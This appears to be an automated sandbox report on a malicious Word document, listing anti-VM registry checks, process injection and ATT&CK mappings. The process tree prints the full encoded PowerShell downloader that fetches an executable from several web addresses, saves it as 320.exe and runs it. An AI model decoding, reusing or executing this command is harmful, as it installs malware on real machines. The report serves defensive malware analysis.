51de13d18a23740342f1c681de4cb6c2baf116f2a4df4730c5338439d05823e4

General

Target

Docs_34df7390e3fba4cc8b8de327c79c3741.7
Sample

191010-dahqk1wjyj
SHA256

51de13d18a23740342f1c681de4cb6c2baf116f2a4df4730c5338439d05823e4

Score

N/A

Malware Config

Signatures

Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx

Drops Office document 4 IoCs

Processes:

WINWORD.EXE

at	description	ioc	process
26093	File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm	WINWORD.EXE
26187	File created	C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm	WINWORD.EXE
27500	File opened for modification	C:\Users\Admin\AppData\Local\Temp\Docs_34df7390e3fba4cc8b8de327c79c3741.7.doc	WINWORD.EXE
27640	File created	C:\Users\Admin\AppData\Local\Temp\~$cs_34df7390e3fba4cc8b8de327c79c3741.7.doc	WINWORD.EXE

Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

at	description	ioc	process
27421	Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	WINWORD.EXE
27421	Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	WINWORD.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

at	description	ioc	process
27421	Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
27421	Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
27437	Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
27437	Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
27437	Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

at	description	ioc	process
27421	Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
27421	Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Suspicious use of FindShellTrayWindow
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

at description process

33218 Token: SeDebugPrivilege powershell.exe
Suspicious behavior: EnumeratesProcesses

at	description	process
33218	Token: SeDebugPrivilege	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

SppExtComObj.exepowershell.exe320.exe

at	description	process	target process
38875	PID 3380 wrote to memory of 2900	SppExtComObj.exe	SLUI.exe
41734	PID 4012 wrote to memory of 3352	powershell.exe	320.exe
54968	PID 3352 wrote to memory of 3236	320.exe	320.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_34df7390e3fba4cc8b8de327c79c3741.7.doc" /o ""
1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:3568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADcAOABjADIAOQA3ADcAYwB4ADMAMAA9ACcAeAA4ADIAMAAwADQANAA1ADQANwAxADEANwAnADsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwAgAD0AIAAnADMAMgAwACcAOwAkAGMANgA1ADEAOQA5ADQANQA0ADAAMAA9ACcAYwA2ADIANQBjADkANwBjADAAMABjAGIAJwA7ACQAeAA3ADgAYwB4ADkANQAyAGIAOAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwArACcALgBlAHgAZQAnADsAJAB4ADAAeABjADIAMAB4AGIAMAAzAHgAPQAnAHgAMAA1AHgANAAxADAAOQBiADAAOQAnADsAJABjADEAMwA0ADUANAB4ADgAYwB4AHgANAAzAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAEUATgB0ADsAJABiADAAMABjADYAYwAxADgANwA5ADkANgA9ACcAaAB0AHQAcAA6AC8ALwBlAHIAYQBrAG8AbgBsAGEAdwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFEAaQBtAGEAeQBKAHUATQBZAC8AQABoAHQAdABwADoALwAvAGMAYQByAGUAZQByAHAAbAB1AHMAcwBhAHQAbgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBZAG4ASwBjAGMAbgBoAFoASwAvAEAAaAB0AHQAcAA6AC8ALwByAGEAbQBlAHMAaAB6AGEAdwBhAHIALgBjAG8AbQAvADMAbABqAGoANgAvAHcAUQBzAHQAdgBlAE0AQQBHAG0ALwBAAGgAdAB0AHAAOgAvAC8AcABsAGEAbgBlAHQAbABhAG4AYwBlAHIALgBjAG8AbQAvAGgAOAByAGcAZQAvAGsAaQBtADYANgBfAGEAZQBxAG4AYQA4ADAALQAyADAAOAA1AC8AQABoAHQAdABwADoALwAvAHAAcgBhAGQAbwBwAHIAbwAuAHIAdQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBhAGIAcABpAFYARQBvAGYALwAnAC4AIgBzAFAAYABMAGkAdAAiACgAJwBAACcAKQA7ACQAeAAwAGMAOQAzAGIAMwA2ADQANgAzADcAPQAnAGIAOAA5ADAANABiADQAMwAyADMAMAA5ACcAOwBmAG8AcgBlAGEAYwBoACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACAAaQBuACAAJABiADAAMABjADYAYwAxADgANwA5ADkANgApAHsAdAByAHkAewAkAGMAMQAzADQANQA0AHgAOABjAHgAeAA0ADMALgAiAEQAYABvAFcAbgBsAE8AYQBkAEYAYABJAGwARQAiACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACwAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApADsAJABiADAAMAAyADAAOAA4AGIAMABiAHgAMAA9ACcAYwAzAGIANAA5ADAANAB4ADQAeAAzADMAYwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApAC4AIgBsAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJAB4ADcAOABjAHgAOQA1ADIAYgA4ADgAKQA7ACQAYwA3ADEAMAB4ADUANgB4ADAAeAA5ADQAOQA9ACcAYgAzADgANgAwADEAMwB4AHgAeAA1ADYAMAAnADsAYgByAGUAYQBrADsAJABiADAANQBjAGIANAA5ADAAOQAzADAAYgA9ACcAeAB4ADMAOQBiADAAMAA2ADIAOAA3ADcAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA3ADAANgBiADQANwAwADAANwA2AD0AJwBiADAAYwBjAGMAMAA0ADAAeABjADAAMAAxACcA
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4012

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:3380

C:\Windows\System32\SLUI.exe
"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
1⤵
PID:2900

C:\Users\Admin\320.exe
"C:\Users\Admin\320.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3352

C:\Users\Admin\320.exe
--c73fdd8f
1⤵
PID:3236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads